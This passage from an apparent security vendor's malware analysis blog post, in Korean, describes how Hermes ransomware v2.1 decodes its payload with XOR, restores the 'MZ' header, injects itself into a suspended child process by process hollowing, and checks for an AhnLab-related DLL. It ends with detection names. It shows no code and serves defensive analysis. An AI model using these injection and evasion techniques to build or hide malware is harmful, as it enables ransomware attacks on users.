[그림11]  MOVD, PXOR 등 다수의 MMX 명령어

 

헤르메스의 PE는 두 번 인코딩되어 있기 때문에 위의 복호화 루틴을 지나도 PE를 확인할 수 없다. 마지막으로 0x100 크기의 키를 생성한 후 이 키와 XOR 연산을 거침으로써 PE가 복구된다.


[그림12] 생성된 0x100 크기의 키와 이를 이용한 xor 연산

 

복구된 PE를 확인해 보면 시그니처 "MZ"가 빠진 형태이며 이후에 직접 "MZ"를 추가한다.

[그림13] 'MZ' 시그니처를 추가하는 과정

 

과거 형태가 자가 프로세스에서 메모리를 언매핑한 후 새로 쓰는 방식이었다면, 최신 버전은 자가 프로그램을 자식 프로세스로 실행하여 복호화한 헤르메스 PE를 인젝션하는 방식을 사용한다. CREATE_SUSPENDED 모드로 CreateProcessW()를 실행한 후 자식 프로세스의 바이너리 모듈을 NtUnmapViewOfSection()으로 언매핑한 후 새로 메모리를 할당하여 써 넣는 방식이다.


[그림14] 자가 프로그램을 자식 프로세스로 생성하는 과정

 

이후 부모 프로세스는 종료되며, 자식 프로세스에 인젝션되어 실행되는 헤르메스는 실제 랜섬웨어의 기능을 수행한다. 외형은 바뀌었지만 내부의 실제 헤르메스 PE는 다음 링크에서 분석한 바와 거의 동일하다. [ http://asec.ahnlab.com/1088 ]


하지만 "AhnLab" 폴더명을 제외하고 암호화를 진행하는 것 외에도 AhnLab 관련 스트링이 더 확인 되었다. 다음과 같이 "ah1nl1ab.dll"이라는 라이브러리에 대한 로드를 시도하고 실패 시 종료하는 부분이 추가 된 점이다.


[그림15]  "ah1nl1ab.dll" 라이브러리를 로드하는 부분

 

안랩 제품에서는 헤르메스 랜섬웨어 v2.1의 최신 버전을 다음과 같이 진단하고 있다.


- 파일 진단 : Trojan/Win32.Hermesran  (2018.07.03.06)

- 행위 진단 : Malware/MDP.Ransom.M1171

Posted by 분석팀